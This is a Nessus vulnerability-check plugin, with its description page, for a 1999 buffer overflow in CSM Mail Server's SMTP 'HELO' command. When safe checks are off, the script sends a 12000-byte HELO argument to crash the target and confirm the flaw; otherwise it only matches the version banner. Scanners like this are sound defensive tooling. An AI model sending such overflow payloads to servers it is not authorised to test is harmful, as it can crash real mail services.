CSM Mail Server MTA 'HELO' DoS

2000-01-03T00:00:00
ID CSM_HELO.NASL
Type nessus
Reporter Tenable
Modified 2018-07-09T00:00:00

Description

The remote SMTP server is vulnerable to a buffer overflow attack. This issue is triggered by issuing the 'HELO' command followed by a long argument. A remote attacker could exploit this to crash the server, or possibly execute arbitrary code.

                                        
                                            #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(10050);
 script_version("1.39");
 script_cvs_date("Date: 2018/07/09 12:26:58");

 script_cve_id("CVE-2000-0042");
 script_bugtraq_id(895);

 script_name(english:"CSM Mail Server MTA 'HELO' DoS");
 script_summary(english:"Overflows the remote SMTP server");

 script_set_attribute(attribute:"synopsis", value:"The remote SMTP server has a buffer overflow vulnerability.");
 script_set_attribute(attribute:"description", value:
"The remote SMTP server is vulnerable to a buffer overflow attack. This
issue is triggered by issuing the 'HELO' command followed by a long
argument. A remote attacker could exploit this to crash the server, or
possibly execute arbitrary code.");
 script_set_attribute(attribute:"solution", value:"Contact your vendor for a patch.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"vuln_publication_date", value:"1999/12/29");
 script_set_attribute(attribute:"plugin_publication_date", value:"2000/01/03");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_MIXED_ATTACK); # mixed
 script_family(english:"SMTP problems");

 script_copyright(english:"This script is Copyright (C) 2000-2018 Tenable Network Security, Inc.");

 script_dependencie("find_service1.nasl", "smtpserver_detect.nasl");
 script_require_keys("Settings/ParanoidReport");
 script_require_ports("Services/smtp", 25);

 exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("smtp_func.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = get_service(svc:"smtp", default: 25, exit_on_fail: 1);
if (get_kb_item('SMTP/'+port+'/broken')) exit(0);

if(safe_checks())
{
 banner = get_smtp_banner(port:port);
 if(banner)
 {
  if(egrep(string:banner,
  	  pattern:"^220 SMTP CSM Mail Server ready at .* .Version 2000.0[1-8].A"))
	{
	alrt = "
*** Nessus was only able to verify this vulnerability
*** by checking the banner.  Use caution when testing
*** without safe checks enabled.
";
	 security_hole(port:port, extra:alrt);
	}
 }
 exit(0);
}


key = get_kb_item(string("SMTP/", port, "/helo_overflow"));
if(key)exit(0);
soc = open_sock_tcp(port);
if (! soc) exit(1);

  s = smtp_recv_banner(socket:soc);
  if(!("220 " >< s)){
  	close(soc);
	exit(0);
	}
  c = string("HELO ", crap(12000), "\r\n");
  send(socket:soc, data:c);
  s = recv_line(socket:soc, length:1024);
  if(!s)
  {
   close(soc);
   soc = open_sock_tcp(port);
   if(soc) s = smtp_recv_banner(socket:soc);
   else s = NULL;

   if(!s) security_hole(port:port, extra:'\nNessus crashed the SMTP server.\n');
   close(soc);
 }